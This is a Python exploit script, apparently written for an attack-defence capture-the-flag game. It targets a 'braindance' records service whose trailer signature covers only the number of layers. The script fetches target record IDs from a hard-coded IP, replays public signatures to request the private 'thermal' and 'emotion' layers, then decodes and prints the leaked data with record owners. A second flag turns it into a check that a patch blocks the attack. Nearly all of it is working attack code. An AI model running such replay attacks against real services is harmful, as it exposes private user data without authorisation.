133 lines
4.4 KiB
Python
133 lines
4.4 KiB
Python
#!/usr/bin/env python3
|
|
|
|
"""Probe the private-layer trailer bug and verify its fix.
|
|
|
|
The vulnerable service signed only the number of requested layers. A public
|
|
trailer signature could therefore be replayed for private layers. The
|
|
default mode is the original exploit probe (exit 0 only on a leak); use
|
|
``--verify-patched`` after deployment to make a clean, blocked run succeed.
|
|
"""
|
|
|
|
from __future__ import annotations
|
|
|
|
import base64
|
|
import itertools
|
|
import sys
|
|
|
|
|
|
import requests
|
|
|
|
|
|
PORT = 5000
|
|
TIMEOUT = 4
|
|
ATTACK_DATA_URL = "http://111.88.219.93/attack_data"
|
|
PRIVATE_LAYER_NAMES = ("thermal", "emotion")
|
|
|
|
|
|
def log(message: str) -> None:
|
|
print(message, file=sys.stderr, flush=True)
|
|
|
|
|
|
def attack_record_ids(data: dict, target: str) -> list[str]:
|
|
seen: set[str] = set()
|
|
result: list[str] = []
|
|
for row in data.get("braindance", {}).get(target, []):
|
|
record_id = str(row.get("record", ""))
|
|
if record_id and record_id not in seen:
|
|
seen.add(record_id)
|
|
result.append(record_id)
|
|
return result
|
|
|
|
|
|
def private_layer_candidates(public_layers: str) -> list[str]:
|
|
"""Return private requests with the same cardinality as the public trailer."""
|
|
count = len([name for name in public_layers.split(",") if name])
|
|
if count < 1 or count > len(PRIVATE_LAYER_NAMES):
|
|
return []
|
|
return [",".join(names) for names in itertools.combinations(PRIVATE_LAYER_NAMES, count)]
|
|
|
|
|
|
def private_layers_from(response: requests.Response) -> dict[str, str]:
|
|
"""Decode only the private layers returned by a successful trailer response."""
|
|
layers = response.json().get("layers") or {}
|
|
result = {}
|
|
for name in PRIVATE_LAYER_NAMES:
|
|
encoded = layers.get(name)
|
|
if encoded:
|
|
result[name] = base64.b64decode(encoded, validate=True).decode("utf-8", "replace")
|
|
return result
|
|
|
|
|
|
def run(target: str, verify_patched: bool = False) -> int:
|
|
session = requests.Session()
|
|
session.trust_env = False
|
|
base = f"http://{target}:{PORT}"
|
|
attack_data = session.get(ATTACK_DATA_URL, timeout=TIMEOUT).json()
|
|
record_ids = attack_record_ids(attack_data, target)
|
|
if not record_ids:
|
|
raise RuntimeError("no braindance attack_data for target")
|
|
leaked = 0
|
|
blocked = 0
|
|
skipped = 0
|
|
|
|
for rid in record_ids:
|
|
record_response = session.get(f"{base}/records/{rid}", timeout=TIMEOUT)
|
|
if record_response.status_code == 404:
|
|
continue
|
|
record_response.raise_for_status()
|
|
record = record_response.json()
|
|
trailer = record.get("trailer") or {}
|
|
signature = trailer.get("sig")
|
|
public_layers = str(trailer.get("layers", ""))
|
|
if not signature or not public_layers:
|
|
skipped += 1
|
|
continue
|
|
|
|
candidates = private_layer_candidates(public_layers)
|
|
if not candidates:
|
|
skipped += 1
|
|
continue
|
|
for requested_layers in candidates:
|
|
response = session.get(
|
|
f"{base}/trailer/{rid}",
|
|
params={"layers": requested_layers, "sig": signature},
|
|
timeout=TIMEOUT,
|
|
)
|
|
if response.status_code == 403:
|
|
blocked += 1
|
|
continue
|
|
if response.status_code == 404:
|
|
skipped += 1
|
|
continue
|
|
response.raise_for_status()
|
|
private_layers = private_layers_from(response)
|
|
if not private_layers:
|
|
skipped += 1
|
|
continue
|
|
leaked += 1
|
|
for name, value in private_layers.items():
|
|
print(f"{record.get('owner', '?')} {rid} {name}: {value}")
|
|
|
|
mode = "patched-check" if verify_patched else "exploit"
|
|
log(f"mode={mode} target={target} records={len(record_ids)} blocked={blocked} skipped={skipped} leaked={leaked}")
|
|
if verify_patched:
|
|
return 0 if leaked == 0 and blocked > 0 else 1
|
|
return 0 if leaked > 0 else 1
|
|
|
|
|
|
def main() -> int:
|
|
verify_patched = "--verify-patched" in sys.argv[1:]
|
|
args = [arg for arg in sys.argv[1:] if arg != "--verify-patched"]
|
|
if len(args) != 1:
|
|
log(f"usage: {sys.argv[0]} [--verify-patched] TARGET")
|
|
return 2
|
|
try:
|
|
return run(args[0], verify_patched=verify_patched)
|
|
except (KeyError, ValueError, RuntimeError, requests.RequestException) as exc:
|
|
log(f"target={args[0]} error={exc}")
|
|
return 1
|
|
|
|
|
|
if __name__ == "__main__":
|
|
raise SystemExit(main())
|